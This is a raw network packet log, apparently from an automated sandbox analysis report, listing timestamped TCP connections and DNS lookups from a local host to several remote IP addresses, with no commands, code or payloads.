Jul 16, 2022 23:57:49.551508904 CEST	80	49864	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:49.551537991 CEST	80	49864	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:49.551630020 CEST	49864	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:49.551661968 CEST	49864	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:49.589663982 CEST	49864	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:49.589705944 CEST	49864	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:50.876641989 CEST	49865	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:50.904233932 CEST	80	49865	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:50.904391050 CEST	49865	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:50.913546085 CEST	49865	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:50.942166090 CEST	80	49865	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:50.942202091 CEST	80	49865	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:50.942225933 CEST	80	49865	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:50.942261934 CEST	49865	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:50.942300081 CEST	49865	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:50.947408915 CEST	49865	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:50.947455883 CEST	49865	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:50.974073887 CEST	80	49865	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:50.974158049 CEST	49865	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:53.366791010 CEST	49866	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:53.393500090 CEST	80	49866	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:53.393719912 CEST	49866	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:53.439694881 CEST	49866	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:53.466414928 CEST	80	49866	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:53.466470003 CEST	80	49866	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:53.466496944 CEST	80	49866	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:53.466592073 CEST	49866	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:53.472577095 CEST	49866	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:53.472629070 CEST	49866	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:55.676389933 CEST	49867	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:55.704833031 CEST	80	49867	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:55.706041098 CEST	49867	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:55.710952997 CEST	49867	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:55.737852097 CEST	80	49867	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:55.737890005 CEST	80	49867	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:55.737912893 CEST	80	49867	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:55.737997055 CEST	49867	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:55.738033056 CEST	49867	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:55.738759995 CEST	49867	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:55.738811016 CEST	49867	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:58.136060953 CEST	49868	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:58.165460110 CEST	80	49868	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:58.165565014 CEST	49868	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:58.168642998 CEST	49868	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:58.197483063 CEST	80	49868	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:58.197532892 CEST	80	49868	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:58.197556973 CEST	80	49868	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:58.197594881 CEST	49868	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:58.197626114 CEST	49868	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:58.199074984 CEST	49868	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:58.199134111 CEST	49868	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:57:58.226037025 CEST	80	49868	142.250.102.82	192.168.2.5
Jul 16, 2022 23:57:58.226139069 CEST	49868	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:00.878367901 CEST	49871	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:00.905169010 CEST	80	49871	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:00.905340910 CEST	49871	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:00.906277895 CEST	49871	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:00.932897091 CEST	80	49871	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:00.932934999 CEST	80	49871	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:00.932960033 CEST	80	49871	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:00.933072090 CEST	49871	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:00.934729099 CEST	49871	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:00.934779882 CEST	49871	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:03.626096010 CEST	49872	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:03.653186083 CEST	80	49872	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:03.653317928 CEST	49872	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:03.656693935 CEST	49872	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:03.683655977 CEST	80	49872	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:03.683681965 CEST	80	49872	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:03.683696032 CEST	80	49872	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:03.683753967 CEST	49872	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:03.683782101 CEST	49872	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:03.692528963 CEST	49872	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:03.693989038 CEST	49872	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:03.719471931 CEST	80	49872	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:03.719537973 CEST	49872	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:05.808655977 CEST	49873	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:05.835587978 CEST	80	49873	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:05.835692883 CEST	49873	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:05.836945057 CEST	49873	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:05.863768101 CEST	80	49873	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:05.863981009 CEST	80	49873	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:05.864008904 CEST	80	49873	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:05.864092112 CEST	49873	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:05.864118099 CEST	49873	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:05.867948055 CEST	49873	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:05.867990017 CEST	49873	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:07.128427982 CEST	49874	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:07.155247927 CEST	80	49874	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:07.155361891 CEST	49874	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:07.158910990 CEST	49874	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:07.185648918 CEST	80	49874	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:07.186203957 CEST	80	49874	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:07.186244011 CEST	80	49874	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:07.186295033 CEST	49874	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:07.186331034 CEST	49874	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:07.205580950 CEST	49874	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:07.205631018 CEST	49874	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:08.585467100 CEST	49875	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:08.612966061 CEST	80	49875	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:08.615356922 CEST	49875	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:08.679080009 CEST	49875	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:08.708020926 CEST	80	49875	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:08.708112955 CEST	80	49875	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:08.708139896 CEST	80	49875	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:08.708209991 CEST	49875	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:08.901561975 CEST	49875	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:08.901603937 CEST	49875	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:10.938952923 CEST	49876	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:10.965555906 CEST	80	49876	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:10.965656996 CEST	49876	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:10.971801043 CEST	49876	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:10.998300076 CEST	80	49876	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:10.998584032 CEST	80	49876	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:10.998608112 CEST	80	49876	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:10.998658895 CEST	49876	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:10.998697996 CEST	49876	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:11.038285017 CEST	49876	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:11.038321018 CEST	49876	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:12.286077976 CEST	49877	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:12.312597990 CEST	80	49877	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:12.312722921 CEST	49877	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:12.329263926 CEST	49877	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:12.355767965 CEST	80	49877	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:12.355820894 CEST	80	49877	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:12.355838060 CEST	80	49877	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:12.355911016 CEST	49877	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:12.356359005 CEST	49877	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:12.356380939 CEST	49877	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:13.623480082 CEST	49879	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:13.650466919 CEST	80	49879	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:13.650619030 CEST	49879	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:13.655021906 CEST	49879	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:13.681888103 CEST	80	49879	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:13.681955099 CEST	80	49879	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:13.682017088 CEST	49879	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:13.682207108 CEST	80	49879	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:13.682321072 CEST	49879	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:13.682527065 CEST	49879	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:13.682557106 CEST	49879	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:14.999378920 CEST	49880	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:15.026340008 CEST	80	49880	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:15.026479959 CEST	49880	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:15.027226925 CEST	49880	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:15.062947989 CEST	80	49880	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:15.063011885 CEST	80	49880	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:15.063050032 CEST	80	49880	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:15.063118935 CEST	49880	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:15.063162088 CEST	49880	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:15.069087029 CEST	49880	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:15.069154978 CEST	49880	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:15.101663113 CEST	80	49880	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:15.103811026 CEST	49880	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:16.371646881 CEST	49881	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:16.398650885 CEST	80	49881	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:16.398828030 CEST	49881	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:16.399426937 CEST	49881	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:16.426215887 CEST	80	49881	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:16.426249981 CEST	80	49881	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:16.426268101 CEST	80	49881	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:16.426347971 CEST	49881	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:16.426387072 CEST	49881	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:16.426827908 CEST	49881	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:16.426866055 CEST	49881	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:17.645188093 CEST	49882	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:17.674197912 CEST	80	49882	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:17.674360037 CEST	49882	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:17.677611113 CEST	49882	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:17.704286098 CEST	80	49882	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:17.704376936 CEST	80	49882	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:17.704377890 CEST	49882	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:17.704396963 CEST	80	49882	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:17.704427958 CEST	49882	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:17.704444885 CEST	49882	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:17.705159903 CEST	49882	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:17.705205917 CEST	49882	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:18.955218077 CEST	49885	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:18.982234001 CEST	80	49885	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:18.982346058 CEST	49885	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:18.986483097 CEST	49885	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:19.013293982 CEST	80	49885	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:19.013350010 CEST	80	49885	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:19.013370991 CEST	80	49885	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:19.013537884 CEST	49885	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:19.013564110 CEST	49885	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:19.016724110 CEST	49885	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:19.016819954 CEST	49885	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:19.043315887 CEST	80	49885	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:19.043392897 CEST	49885	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:20.251523972 CEST	49886	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:20.280512094 CEST	80	49886	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:20.280611038 CEST	49886	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:20.281632900 CEST	49886	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:20.308252096 CEST	80	49886	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:20.308283091 CEST	80	49886	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:20.308303118 CEST	80	49886	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:20.308351994 CEST	49886	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:20.308387995 CEST	49886	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:20.308933020 CEST	49886	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:20.309055090 CEST	49886	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:20.335445881 CEST	80	49886	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:20.335551023 CEST	49886	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:21.550750017 CEST	49888	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:21.577413082 CEST	80	49888	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:21.577534914 CEST	49888	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:21.579205036 CEST	49888	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:21.605804920 CEST	80	49888	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:21.605839014 CEST	80	49888	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:21.605854034 CEST	80	49888	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:21.605902910 CEST	49888	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:21.605945110 CEST	49888	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:21.606429100 CEST	49888	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:21.606482029 CEST	49888	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:24.983624935 CEST	49889	443	192.168.2.5	49.12.130.237
Jul 16, 2022 23:58:24.983669043 CEST	443	49889	49.12.130.237	192.168.2.5
Jul 16, 2022 23:58:24.983748913 CEST	49889	443	192.168.2.5	49.12.130.237
Jul 16, 2022 23:58:24.985238075 CEST	49889	443	192.168.2.5	49.12.130.237
Jul 16, 2022 23:58:24.985266924 CEST	443	49889	49.12.130.237	192.168.2.5
Jul 16, 2022 23:58:25.043251991 CEST	443	49889	49.12.130.237	192.168.2.5
Jul 16, 2022 23:58:25.043342113 CEST	49889	443	192.168.2.5	49.12.130.237
Jul 16, 2022 23:58:25.044338942 CEST	49889	443	192.168.2.5	49.12.130.237
Jul 16, 2022 23:58:25.044351101 CEST	443	49889	49.12.130.237	192.168.2.5
Jul 16, 2022 23:58:25.044657946 CEST	443	49889	49.12.130.237	192.168.2.5
Jul 16, 2022 23:58:25.044714928 CEST	49889	443	192.168.2.5	49.12.130.237
Jul 16, 2022 23:58:25.355707884 CEST	49889	443	192.168.2.5	49.12.130.237
Jul 16, 2022 23:58:25.408526897 CEST	49890	80	192.168.2.5	92.223.88.41
Jul 16, 2022 23:58:25.437520027 CEST	80	49890	92.223.88.41	192.168.2.5
Jul 16, 2022 23:58:25.438350916 CEST	49890	80	192.168.2.5	92.223.88.41
Jul 16, 2022 23:58:25.439656973 CEST	49890	80	192.168.2.5	92.223.88.41
Jul 16, 2022 23:58:25.469403982 CEST	80	49890	92.223.88.41	192.168.2.5
Jul 16, 2022 23:58:25.470498085 CEST	80	49890	92.223.88.41	192.168.2.5
Jul 16, 2022 23:58:25.470537901 CEST	80	49890	92.223.88.41	192.168.2.5
Jul 16, 2022 23:58:25.472275019 CEST	49890	80	192.168.2.5	92.223.88.41
Jul 16, 2022 23:58:25.494404078 CEST	49890	80	192.168.2.5	92.223.88.41
Jul 16, 2022 23:58:25.529814959 CEST	80	49890	92.223.88.41	192.168.2.5
Jul 16, 2022 23:58:25.529953957 CEST	80	49890	92.223.88.41	192.168.2.5
Jul 16, 2022 23:58:25.530213118 CEST	49890	80	192.168.2.5	92.223.88.41
Jul 16, 2022 23:58:25.820549965 CEST	49890	80	192.168.2.5	92.223.88.41
Jul 16, 2022 23:58:25.850384951 CEST	80	49890	92.223.88.41	192.168.2.5
Jul 16, 2022 23:58:25.850790024 CEST	49891	6568	192.168.2.5	49.12.130.236
Jul 16, 2022 23:58:25.873887062 CEST	6568	49891	49.12.130.236	192.168.2.5
Jul 16, 2022 23:58:25.874041080 CEST	49891	6568	192.168.2.5	49.12.130.236
Jul 16, 2022 23:58:25.885826111 CEST	49891	6568	192.168.2.5	49.12.130.236
Jul 16, 2022 23:58:25.910002947 CEST	6568	49891	49.12.130.236	192.168.2.5
Jul 16, 2022 23:58:25.910763979 CEST	6568	49891	49.12.130.236	192.168.2.5
Jul 16, 2022 23:58:25.910806894 CEST	6568	49891	49.12.130.236	192.168.2.5
Jul 16, 2022 23:58:25.910862923 CEST	49891	6568	192.168.2.5	49.12.130.236
Jul 16, 2022 23:58:25.926597118 CEST	49891	6568	192.168.2.5	49.12.130.236
Jul 16, 2022 23:58:25.950138092 CEST	6568	49891	49.12.130.236	192.168.2.5
Jul 16, 2022 23:58:25.950212955 CEST	6568	49891	49.12.130.236	192.168.2.5
Jul 16, 2022 23:58:25.950320005 CEST	49891	6568	192.168.2.5	49.12.130.236
Jul 16, 2022 23:58:27.550103903 CEST	49891	6568	192.168.2.5	49.12.130.236
Jul 16, 2022 23:58:27.573836088 CEST	6568	49891	49.12.130.236	192.168.2.5
Jul 16, 2022 23:58:27.731281996 CEST	49892	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:27.757972956 CEST	80	49892	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:27.758116961 CEST	49892	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:27.798254967 CEST	49892	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:27.824928999 CEST	80	49892	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:27.825057983 CEST	80	49892	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:27.825083971 CEST	80	49892	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:27.825130939 CEST	49892	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:27.825159073 CEST	49892	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:27.828319073 CEST	49892	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:27.828355074 CEST	49892	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:27.854964972 CEST	80	49892	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:27.855076075 CEST	49892	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:31.372854948 CEST	49896	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:31.399841070 CEST	80	49896	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:31.399960041 CEST	49896	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:31.401536942 CEST	49896	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:31.428258896 CEST	80	49896	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:31.428580046 CEST	80	49896	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:31.428608894 CEST	80	49896	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:31.428663969 CEST	49896	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:31.428690910 CEST	49896	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:31.429145098 CEST	49896	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:31.429171085 CEST	49896	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:35.051722050 CEST	49899	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:35.078704119 CEST	80	49899	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:35.078804016 CEST	49899	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:35.080053091 CEST	49899	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:35.122713089 CEST	80	49899	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:35.122745991 CEST	80	49899	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:35.122762918 CEST	80	49899	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:35.122837067 CEST	49899	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:35.122860909 CEST	49899	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:35.136657953 CEST	49899	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:35.136885881 CEST	49899	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:35.163775921 CEST	80	49899	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:35.164938927 CEST	49899	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:39.014349937 CEST	49901	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:39.041491032 CEST	80	49901	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:39.041665077 CEST	49901	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:39.042984962 CEST	49901	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:39.070127010 CEST	80	49901	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:39.070574999 CEST	80	49901	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:39.070605040 CEST	80	49901	142.250.102.82	192.168.2.5
Jul 16, 2022 23:58:39.070700884 CEST	49901	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:39.070761919 CEST	49901	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:39.071217060 CEST	49901	80	192.168.2.5	142.250.102.82
Jul 16, 2022 23:58:39.071247101 CEST	49901	80	192.168.2.5	142.250.102.82

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 16, 2022 23:57:19.530715942 CEST	62704	53	192.168.2.5	8.8.8.8
Jul 16, 2022 23:57:19.550043106 CEST	53	62704	8.8.8.8	192.168.2.5
Jul 16, 2022 23:57:19.970247030 CEST	53934	53	192.168.2.5	8.8.8.8
Jul 16, 2022 23:57:19.989499092 CEST	53	53934	8.8.8.8	192.168.2.5
Jul 16, 2022 23:57:20.577889919 CEST	63712	53	192.168.2.5	8.8.8.8
Jul 16, 2022 23:57:20.598897934 CEST	53	63712	8.8.8.8	192.168.2.5
Jul 16, 2022 23:57:21.983445883 CEST	60658	53	192.168.2.5	8.8.8.8
Jul 16, 2022 23:57:22.012310982 CEST	53	60658	8.8.8.8	192.168.2.5
Jul 16, 2022 23:57:24.309936047 CEST	57352	53	192.168.2.5	8.8.8.8
Jul 16, 2022 23:57:24.335664988 CEST	53	57352	8.8.8.8	192.168.2.5
Jul 16, 2022 23:57:26.697851896 CEST	52333	53	192.168.2.5	8.8.8.8
Jul 16, 2022 23:57:26.717003107 CEST	53	52333	8.8.8.8	192.168.2.5
Jul 16, 2022 23:57:26.779398918 CEST	49407	53	192.168.2.5	8.8.8.8
Jul 16, 2022 23:57:26.808068037 CEST	53	49407	8.8.8.8	192.168.2.5
Jul 16, 2022 23:57:27.516161919 CEST	62648	53	192.168.2.5	8.8.8.8
Jul 16, 2022 23:57:27.540215015 CEST	53	62648	8.8.8.8	192.168.2.5
Jul 16, 2022 23:57:28.021388054 CEST	63718	53	192.168.2.5	8.8.8.8
Jul 16, 2022 23:57:28.041414022 CEST	53	63718	8.8.8.8	192.168.2.5
Jul 16, 2022 23:57:44.230241060 CEST	63580	53	192.168.2.5	8.8.8.8
Jul 16, 2022 23:57:44.249377966 CEST	53	63580	8.8.8.8	192.168.2.5
Jul 16, 2022 23:57:45.227916002 CEST	56784	53	192.168.2.5	8.8.8.8
Jul 16, 2022 23:57:45.250171900 CEST	53	56784	8.8.8.8	192.168.2.5
Jul 16, 2022 23:57:45.785418987 CEST	59558	53	192.168.2.5	8.8.8.8
Jul 16, 2022 23:57:45.804655075 CEST	53	59558	8.8.8.8	192.168.2.5
Jul 16, 2022 23:58:24.959206104 CEST	53759	53	192.168.2.5	8.8.8.8
Jul 16, 2022 23:58:24.978725910 CEST	53	53759	8.8.8.8	192.168.2.5
Jul 16, 2022 23:58:25.372782946 CEST	59285	53	192.168.2.5	8.8.8.8
Jul 16, 2022 23:58:25.390219927 CEST	53	59285	8.8.8.8	192.168.2.5
Jul 16, 2022 23:58:25.826083899 CEST	57262	53	192.168.2.5	8.8.8.8
Jul 16, 2022 23:58:25.845954895 CEST	53	57262	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
